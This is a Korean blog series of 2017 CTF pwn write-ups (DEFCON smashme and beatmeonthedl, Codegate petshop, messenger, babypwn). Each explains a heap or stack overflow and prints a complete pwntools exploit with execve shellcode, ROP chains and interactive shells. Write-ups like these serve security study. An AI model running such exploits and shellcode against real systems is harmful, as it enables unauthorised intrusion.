'CTF'에 해당되는 글 15건

먼저 메인에 들어가려면 로그인 패스워드를 입력해야되는데 ida data영역에 보면 아이디와 비밀번호가 나와있다.




menu는 무난한 CTF처럼 추가하고 출력하고 지우고 업데이트하는 형식으로 되어 있다.

add_request함수를 살펴보니



malloc동적할당을 56만큼하고 값은 128만큼 넣는 것을 확인할 수 있었다. reqlist가 data영역에 있었기 때문에 unsafe_unlink를 시도하는데 릭이 필요하지 않았다.

unsafe_unlink와 update_request를 이용해서 쉘코드를 넣고 got의 주소를 바꿔서 익스플로잇을 구성했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"4000)
raw_input("[*] DEFCON_2017")
 
def login():
    s.recvuntil("username")
    s.sendline("mcfly")
    s.recvuntil("Pass")
    s.sendline("awesnap")
 
def request(payload):
    s.sendline("1")
    s.recvuntil("text")
    s.sendline(payload)
 
def delete(index):
    s.sendline("3")
    s.recvuntil("choice")
    s.sendline(str(index))
 
def change(index, payload):
    s.sendline("4")
    s.recvuntil("choice")
    s.sendline(str(index))
    s.recvuntil("data")
    s.send(payload)
 
if __name__ == "__main__":
    login()
    for i in range(05):
        request("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
 
    payload = "AAAAAAAA"*2
    payload += p64(0x609e80)
    payload += p64(0x609e88)
    payload += "AAAAAAAA"*2
    payload += p64(0x30)
    payload += p64(0x42)
 
    change(1, payload)
    delete(2)
 
    exploit = p64(0x609980)
    exploit += p64(0x609B00)
    change(3, exploit)
 
    change(1"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
    change(0, p64(0x609B00))
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

codegate_final 2017 real  (0) 2017.06.23
허스트 CTF pwn write up  (0) 2017.05.31
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - messenger write up  (0) 2017.04.05
블로그 이미지

powerprove

,

DEFCON - smashme

CTF/2017 2017. 5. 7. 18:46


smashme는 간단하게 gets를 이용한 bof로 이루어져 있다.

문제는 sub_400320의 return 값을 0이아닌 값으로 만들어 줘야 한다.


sub_400320안으로 들어가면 점프를 하는데 그곳을 추적해보니 어떤 함수의 plt 였다.



디버깅을 해서 알아보니 __strstr_see2 함수 였고 이것은 두개의 인자를 비교하는 함수이다.



인자는 내가 gets로 받은 값과 어느 data값이 였고 저 값을 넣으니 BOF가 성공할 수 있었다.

nx가 돌아가지 않아서 쉘코드를 넣은 뒤 push rsp ; ret 가젯을 이용해서 쉽게 쉘을 얻을 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"4000)
 
if __name__ == "__main__":
    payload = "Smash me outside, how bout dAAAAAAAAAAA "
    payload += "BBBBBBBB"*4
    payload += p64(0x000000000044611d# push rsp ; ret
    shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    payload += shellcode
    s.sendline(payload)
    s.interactive()
cs

'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - messenger write up  (0) 2017.04.05
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,

[codegate final] petshop

CTF/2017 2017. 4. 28. 13:36

이번 코게 본선때 유일하게 풀었던 문제 입니다. ㅋㅋ
heapoverflow가 일어나는데 이안에있던 포인터를 덮어서 익스를 짰습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
#s = remote("localhost", 4000)
= remote("200.200.200.105"9899)
raw_input()
 
def menu(index):
    s.recvuntil("select")
    s.sendline(str(index))
 
def name(name):
    menu(6)
    s.recvuntil("name?")
    s.sendline(name)
 
def set_pet(index, name, sound, feed):
    menu(4)
    s.recvuntil("set")
    s.sendline(str(index))
    s.recvuntil("name")
    s.sendline(name)
    s.recvuntil("sound")
    s.sendline(sound)
    s.recvuntil("feed")
    s.sendline(feed)
 
def buy(index):
    menu(1)
    s.recvuntil("select")
    s.sendline(str(index))
 
if __name__ == "__main__":
    buy(1)
    buy(2)
    name("AAAAAAAA")
    set_pet(2"A""B""C"*12+p64(0x604040)+"\x08")
    menu(5)
    s.recvuntil("person")
    s.recvuntil("person:")
 
    libc_start_main = u64(s.recv(8))
    libc_base = libc_start_main - 0x20740
    system_addr = libc_base + 0x45390
    one_shot = libc_base + 0xef6c4
    log.info("libc_start_main     : "+str(hex(libc_start_main)))
    log.info("libc_base           : "+str(hex(libc_base)))
    log.info("system_addr         : "+str(hex(system_addr)))
    set_pet(2"A""B""C"*12+p64(0x604028)+"\x08")
    name(p64(one_shot))
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
codegate 2017 - messenger write up  (0) 2017.04.05
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,

특이점이 상당히 많다.


먼저 malloc과 free를 구현하였다.

그리고 메세지를 2개밖에 만들지 못한다.

heap overflow의 직감이 왔었다.

unsafe_unlink라는 것을 확인하기 위해서는 두가지만 보면된다.


 


 



왼쪽은 Update하는 부분의 코드이고 오른쪽은 free를 구현한 소스 내부이다.

Update부분에 사이즈를 다시 설정할수 있다는 것을 확인할 수 있다.

사이즈를 다시 할당할 수 있으므로 heap overflow를 일으킬 수 있다.



vmmap을 이용해서 확인한 결과 heap영역에 실행권한이 있다는 사실을 알게 되었다.


나는 페이로드를 unsafe_unlink를 이용해서 exit의 주소를 쉘코드 있는 곳으로 뛸 수 있게 만들 것이다.

change -> Remove(Unsafe_unlink) -> Change(nop sled + shellcode)

그러기 위해서는 heap주소의 릭이 필요하다.



heap의 메모리를 보니 malloc_chunk에 heap영역이 저장되는것을 알 수 있었다.(func_malloc을 보면 그 이유도 알 수 있다.)



이를 이용해 릭을 할 수 있었고 

나머지는 unsafe_unlink를 이용해서 풀면된다.!



작성한 exploit은 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 
def Menu(index):
    s.recvuntil(">>")
    s.sendline(str(index))
 
def Leave(size, payload):
    Menu('L')
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def Remove(index):
    Menu('R')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
def Change(index, size, payload):
    Menu('C')
    s.recvuntil("index : ")
    s.sendline(str(index))
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def View(index):
    Menu('V')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
if __name__ == "__main__":
    s = remote("localhost"4000)
 
    Leave(32"A"*31)
    Leave(32"A"*31)
 
    payload = "BBBB"*14
    Change(01000 ,payload[:-1])
 
    View(0)
    s.recvuntil("\n")
    heap_ptr = u64(s.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0xa8
    log.info("heap_ptr      : "+str(hex(heap_ptr)))
 
    payload = "B"*56
    payload += p64(0x602070 - 0x10)    # exit_got()
    payload += p64(heap_ptr + 0xa8)
    Change(01000, payload)
    Remove(1)
 
    payload = "\x90"*500
    payload += shellcode
    Change(01000, payload)
 
    s.recvuntil(">>")
    s.sendline("FUCK!")
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,

codegate 2017에 출시되었던 babypwn 문제이다.  단순한 BOF문제 였다.



 

 




핵심 코드는 이 두가지다.

v2 는 ebp로부터 0x34만큼 떨어져 있지만 recv르 100만큼 받으므로 buffer overflow가 난다.

v3은 카나리가 있는 것을 확인할 수있는데 v2를 recv한후 다시 v2를 send로 출력시켜 줌으로  카나리 릭을 할 수 있다.





카나리릭이 된다는 것을 확인할 수 있었다.

이제 카나리 릭이 됨으로 ROP를 이용해서 exploit을 하면 된다.

bss에 "/bin/sh <&4 >&4"(소켓이므로 파일디스크립터를 신경쓰자)를 넣고 

system을 호출시켰다. system함수가 구현되어 있어서 릭은 필요가 없었다.(만세)!



exploit은 다음과 같이 구현하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
recv_some = 0x8048907
send_some = 0x80488B1
bss = 0x804B1B4
ppr = 0x8048b84
 
def Echo(payload):
        s.recvuntil(" menu > ")
    s.sendline("1")
    s.recvuntil("Input Your Message : ")
    s.sendline(payload)
    s.recvuntil("\n")
 
 
if __name__ == "__main__":
 
    s = remote("localhost"4000)
 
    g = log.progress("hack")
    g.status("canary_leak")
 
    payload = "A"*40
    Echo(payload)
 
    canary = u32(s.recvuntil("\n")[:-1].rjust(4,"\x00"))
    log.info("canary         : "+str(hex(canary)))
    g.status("rop!")
 
    payload = "A"*40
    payload += p32(canary)
    payload += "A"*12
    payload += p32(recv_some)
    payload += p32(ppr)
    payload += p32(bss)
    payload += p32(0x100)
    payload += p32(0x8048620)
    payload += p32(0xDEADBEEF)
    payload += p32(bss)
    Echo(payload)
 
        s.recvuntil(" menu > ")
    s.sendline("3")
    s.sendline("/bin/sh <&4 >&4\x00")
    g.success()
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - messenger write up  (0) 2017.04.05
블로그 이미지

powerprove

,